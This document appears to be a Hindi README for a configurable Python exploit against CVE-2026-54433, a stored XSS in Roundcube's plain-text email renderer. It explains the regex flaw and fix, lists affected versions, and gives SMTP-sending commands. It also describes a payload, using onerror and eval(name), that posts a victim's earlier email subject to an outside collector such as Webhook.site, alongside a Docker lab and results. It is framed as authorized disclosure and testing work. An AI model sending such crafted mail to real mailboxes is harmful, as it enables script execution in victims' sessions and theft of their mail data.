
Roundcube के प्लेन-टेक्स्ट ईमेल रेंडरर में स्टोर्ड XSS — CVE-2026-54433 के लिए कॉन्फ़िगर करने योग्य Python PoC। क्राफ्टेड .eml जनरेट करता है, SMTP के माध्यम से भेजता है, और Docker लैब में प्रभाव का सत्यापन करता है।

इस रिपॉजिटरी में CVE-2026-54433 के लिए एक कॉन्फ़िगर करने योग्य Python प्रूफ ऑफ कॉन्सेप्ट है,
जो Roundcube के प्लेन-टेक्स्ट ईमेल रेंडरर में एक स्टोर्ड क्रॉस-साइट स्क्रिप्टिंग भेद्यता है।
एक अनप्रमाणित प्रेषक एक विशेष रूप से तैयार text/plain संदेश पहुँचा सकता है। जब कोई
प्रमाणित Roundcube उपयोगकर्ता उस संदेश को खोलता है या उसका पूर्वावलोकन करता है, तो
हमलावर-नियंत्रित JavaScript Roundcube ऑरिजिन में निष्पादित हो जाता है।
PoC बिना कुकीज़ या संदेश निकाय एकत्र किए ठोस प्रमाणित-सत्र प्रभाव प्रदर्शित करता है: यह एक पुराने संदेश का विषय पढ़ता है और उस मान, Roundcube ऑरिजिन, और कार्य नाम को एक अधिकृत कलेक्टर को URL-एन्कोडेड POST फ़ील्ड के रूप में भेजता है।
चेतावनी
यह सक्रिय एक्सप्लॉइट कोड है। इसका उपयोग केवल अपनी स्वयं की प्रयोगशाला में या किसी ऐसी प्रणाली और मेलबॉक्स के विरुद्ध करें जिसके परीक्षण के लिए आप स्पष्ट रूप से अधिकृत हैं। भेजने का मोड एक तैयार ईमेल संचारित करता है और कलेक्टर को एक पूर्व-मौजूद विषय का खुलासा कर सकता है। ऑफ़लाइन निरीक्षण के लिए
--generate-onlyका उपयोग करें।
Roundcube प्लेन-टेक्स्ट संदेशों में पाए जाने वाले पतों को क्लिक करने योग्य mailto: लिंक में
परिवर्तित करता है। प्रभावित संस्करणों में, वैकल्पिक क्वेरी प्रत्यय का मिलान \S+ से किया गया था:
. '(\?\S+)?'
चूँकि \S में < और > शामिल हैं, एक ईमेल पते की तरह शुरू होने वाली स्ट्रिंग ऑटो-लिंक
प्रतिस्थापन को एक खुलने वाले HTML टैग का उपभोग करने के लिए प्रेरित कर सकती है, जबकि शेष भाग
मार्कअप के रूप में व्याख्या किए जाने के लिए छूट जाता है। यह न्यूनतम रूप आदिम को दर्शाता है:
अपस्ट्रीम सुधार क्वेरी प्रत्यय को प्रतिबंधित करता है ताकि इसमें कोण कोष्ठक या व्हाइटस्पेस न हो सके:
. '(\?[^<>\s]+)?'
विक्रेता इस समस्या को "ज़ीरो-क्लिक" बताता है क्योंकि किसी लिंक क्लिक की आवश्यकता नहीं होती। प्रमाणित होने पर ईमेल को खोलना या पूर्वावलोकन करना अभी भी मेल-क्लाइंट क्रिया है जो पेलोड को रेंडर करती है।
| रिलीज़ लाइन | स्थिति |
|---|---|
| 1.6.17 से पहले के Roundcube संस्करण | प्रभावित |
| Roundcube 1.6.17 और बाद के 1.6.x | सुधारित |
| Roundcube 1.7.0 और 1.7.1 | प्रभावित |
| Roundcube 1.7.2 और बाद के | सुधारित |
सार्वजनिक सुधार कमिट हैं:
5477e979aae0317e111564bfc9971ba7707cc1654c278f4868c67b163567cae3d74e58d872913459Roundcube 1.6.17 / 1.7.2 या किसी नए समर्थित रिलीज़ में अपग्रेड करें।
text/plain के रूप में रेंडर किया जाना चाहिए।onerror को आह्वान करने के लिए एक विफल सापेक्ष src का उपयोग करती है। कलेक्टर
कॉलबैक के लिए अभी भी ब्राउज़र नेटवर्क पहुँच की आवश्यकता होती है।HttpOnly होती है। यह PoC इसे पढ़ने का प्रयास नहीं करता है।
इसका समान-ऑरिजिन अनुरोध स्वचालित रूप से प्रमाणित सत्र का उपयोग करता है, और अलग-संदेश विषय
प्रभाव का प्रमाण है।प्रदर्शित परिणाम प्रमाणित JavaScript निष्पादन और एक पुराने ईमेल विषय तक पढ़ने की पहुँच है। खाता अधिग्रहण, मनमाना संदेश-निकाय चोरी, और सर्वर-साइड कोड निष्पादन का दावा इस रिपॉजिटरी द्वारा नहीं किया जाता है।
cve-2026-54433-poc.py स्व-निहित है और केवल Python मानक पुस्तकालय का उपयोग करता है। यह:
text/plain ईमेल बनाता है;CVE-2026-54433 से शुरू न होने वाला पहला पुराना विषय चुनता है;subject, origin, और task को /capture/<random-marker> पर POST करता है;पेलोड DOM कमेंट सम्मिलित करता है:
<!-- This is a BugBounty test; only one subject is copied as evidence -->
यह कॉलर-आपूर्ति किए गए हानिरहित निकाय को प्रदर्शित करते हुए ऑटो-लिंक्ड पता खंड और टूटी-छवि संकेतक को भी छुपाता है।
नेटवर्क कनेक्शन बनाए बिना ईमेल उत्पन्न करें:
python3 cve-2026-54433-poc.py \
--from [email protected] \
--to [email protected] \
--subject 'Account access problem' \
--body "Hi, I'm having trouble with my account, can you help me? My username is @abugpro. Thank you very much." \
--collector https://collector.example.test \
--generate-only
यह निम्नलिखित लिखता है:
cve-2026-54433-trigger.emlcve-2026-54433-evidence.jsonभेजने के मोड का उपयोग करने से पहले उत्पन्न संदेश का निरीक्षण करें।
--collector मान एक Webhook.site UUID, कैप्चर URL या #!/view/ URL हो सकता है। स्क्रिप्ट
कैप्चर और पोलिंग एंडपॉइंट प्राप्त करती है।
python3 cve-2026-54433-poc.py \
--from [email protected] \
--to [email protected] \
--subject 'Account access problem' \
--body "Hi, I'm having trouble with my account, can you help me? My username is @abugpro. Thank you very much." \
--collector 'https://webhook.site/#!/view/REPLACE-WITH-UUID' \
--smtp-host smtp.example.com \
--smtp-port 587 \
--smtp-security starttls \
--smtp-user [email protected]
यदि SMTP_PASSWORD अनुपस्थित है, तो स्क्रिप्ट पासवर्ड को प्रदर्शित या संग्रहीत किए बिना पूछती है।
--smtp-password-env NAME के साथ एक अलग नाम वाला चर चुना जा सकता है। मल्टी-यूज़र सिस्टम पर
--smtp-password से बचें, क्योंकि कमांड-लाइन तर्क प्रक्रिया सूचियों या शेल इतिहास में दिखाई दे सकते हैं।
स्क्रिप्ट भेजने से पहले स्पष्ट YES माँगती है। गैर-संवादात्मक, पहले से अधिकृत प्रयोगशाला
स्वचालन में, --yes पास करें। यह डिफ़ॉल्ट रूप से कॉलबैक के लिए 24 घंटे तक प्रतीक्षा करती है;
इसे बदलने के लिए --timeout SECONDS का उपयोग करें।
गैर-Webhook.site कलेक्टर के लिए, कैप्चर बेस और वैकल्पिक JSON स्थिति एंडपॉइंट पास करें:
python3 cve-2026-54433-poc.py \
--from [email protected] \
--to [email protected] \
--subject 'Authorized XSS test' \
--collector https://collector.example.test \
--poll-url https://collector.example.test/status \
--smtp-host mail.example.test \
--smtp-security starttls
शामिल collector.py संगत /capture/<marker> और /status एंडपॉइंट लागू करता है। यह डिफ़ॉल्ट
रूप से लूपबैक से बंधता है। वास्तविक HTTPS परिनियोजन और एक्सेस नियंत्रण जानबूझकर अधिकृत परीक्षक
पर छोड़ दिए गए हैं।
प्रयोगशाला में कोई प्रकाशित होस्ट पोर्ट नहीं है और इसमें केवल सिंथेटिक संदेश हैं। यह ट्रिगर उत्पन्न करने के लिए उसी Python PoC का उपयोग करता है, दोनों संदेशों को एक डिस्पोज़ेबल Dovecot मेलबॉक्स में पहुँचाता है, एक डिस्पोज़ेबल हेडलेस ब्राउज़र के माध्यम से साइन इन करता है, और रिकॉर्ड करता है कि इंजेक्ट किया गया हैंडलर पिछला विषय पढ़ पाया या नहीं।
आवश्यकताएँ: Docker, Python 3, OpenSSL और jq।
भेद्य परीक्षण:
./lab/run.sh
सुधारित नियंत्रण:
ROUNDCUBE_IMAGE=roundcube/roundcubemail:1.7.3-apache \
ROUNDCUBE_VERSION=1.7.3 EXPECTED_RESULT=NOT_CONFIRMED \
./lab/run.sh
वीडियो या लाइव ब्राउज़र प्रदर्शन के लिए, चलाएँ:
./lab/demo.sh
यह केवल लूपबैक पर Roundcube और विज़ुअल कलेक्टर को प्रकाशित करता है। स्क्रिप्ट द्वारा मुद्रित दो URL खोलें, प्रारंभ में खाली कलेक्टर दिखाएँ, मुद्रित सिंथेटिक क्रेडेंशियल का उपयोग करके साइन इन करें, ट्रिगर ईमेल पर क्लिक करें, और कलेक्टर पर लौटें। कैप्चर किया गया सिंथेटिक विषय एक स्वतः-ताज़ा होने वाली तालिका में दिखाई देता है। Ctrl-C डिस्पोज़ेबल कंटेनर और नेटवर्क को हटा देता है।
ब्राउज़र इंटरैक्शन और एक वास्तविक Webhook.site कॉलबैक रिकॉर्ड करने के लिए, प्रतिलिपि योग्य रिकॉर्डर का उपयोग करें। इसके लिए Chrome, Xvfb, ffmpeg, Docker और पर्यावरण के माध्यम से आपूर्ति किए गए एक अधिकृत Webhook.site टोकन की आवश्यकता होती है:
WEBHOOK_TOKEN='REPLACE-WITH-UUID' ./record-browser-demo.sh
परिणामी MP4 दृश्यमान Roundcube ट्रिगर पंक्ति, एक एनोटेटेड माउस क्लिक, और प्राप्त सिंथेटिक विषय प्रदर्शित करने वाला Webhook.site दिखाता है। टोकन कभी भी स्रोत ट्री में संग्रहीत नहीं होता है।
रिकॉर्ड किया गया आर्टिफैक्ट: assets/CVE-2026-54433-webhook-demo.mp4
रिकॉर्डिंग में एक दृश्यमान टर्मिनल पैनल शामिल है, जो जेनरेट-ओनली Python इनवोकेशन, उसका पेलोड-जनरेशन आउटपुट, Roundcube क्लिक और परिणामी Webhook.site अनुरोध दिखाता है।
विज़ुअल डेमो COLLECTOR_URL और COLLECTOR_VIEW_URL को भी स्वीकार करता है; वास्तविक कलेक्टर को
सिंथेटिक विषय प्राप्त करते हुए दिखाने के लिए दोनों को एक अधिकृत Webhook.site टोकन पर इंगित करें।
असंबंधित अनुरोधों वाले टोकन का पुनः उपयोग न करें।
एंड-टू-एंड तुलना 2026-08-14 को x86-64 Linux पर Docker के साथ चलाई गई:
सकारात्मक कॉलबैक निकाय (सिंथेटिक मान, सैनिटाइज़्ड ऑरिजिन):
subject=Existing+private+subject+2026&origin=http%3A%2F%2Froundcube.example.test&task=mail
संरचित, सैनिटाइज़्ड तुलना docs/e2e-results.json में है।
ऑफ़लाइन जाँच Python स्रोतों को संकलित करती है, एक नया .eml उत्पन्न करती है, और उसके MIME
प्रकार, पेलोड आदिम, दृश्यमान निकाय, कमेंट और मेटाडेटा की जाँच करती है:
./verify.sh
दोनों एंड-टू-एंड Docker नियंत्रण जोड़ने के लिए RUN_DOCKER=1 सेट करें:
RUN_DOCKER=1 ./verify.sh
2026-08-14 को GitHub, Exploit-Database और Packet Storm पर CVE-2026-54433 के लिए लक्षित
खोजों में एंड-टू-एंड भेद्य/सुधारित तुलना वाला कोई मान्य, कॉन्फ़िगर करने योग्य मेल-भेजने वाला
एक्सप्लॉइट नहीं मिला। विक्रेता और भेद्यता-डेटाबेस प्रविष्टियाँ, स्कैनर-टेम्पलेट चर्चाएँ और
वर्णनात्मक राइट-अप पहले से मौजूद थे। यह एक दिनांकित खोज स्नैपशॉट है, यह दावा नहीं कि कोई अन्य
PoC मौजूद नहीं हो सकता।
भेद्यता खोज: Bohdan Kurinnoy, Samsung R&D Institute Ukraine (SRUKR), जैसा कि Roundcube द्वारा श्रेय दिया गया है।
शोध, प्रभाव सत्यापन, और एक्सप्लॉइट कार्यान्वयन: A. Ramos
<[email protected]> (Twitter: @aramosf)।
CVE-2026-54433 Roundcube प्लेन-टेक्स्ट ईमेल स्टोर्ड XSS PoC, सीमित प्रमाणित मेलबॉक्स-विषय साक्ष्य और एक भेद्य/सुधारित Docker प्रयोगशाला के साथ।
| नियंत्रण | छवि डाइजेस्ट | इंजेक्टेड हैंडलर | पिछला विषय भेजा गया | परिणाम |
|---|
| Roundcube 1.7.1 Apache | sha256:15866e72c583a7c0117c94d515c366946b20157569d65ef9c24dca6026663b1f | eval(name) मौजूद | हाँ, URL-एन्कोडेड POST | CONFIRMED |
| Roundcube 1.7.3 Apache | sha256:ddf0e11b5afdbbc615e1d43a1cc9743fc44423e6c21fc93f7dd5dfaa20289ad6 | अनुपस्थित; मार्कअप एस्केप्ड | कोई कॉलबैक नहीं | NOT_CONFIRMED |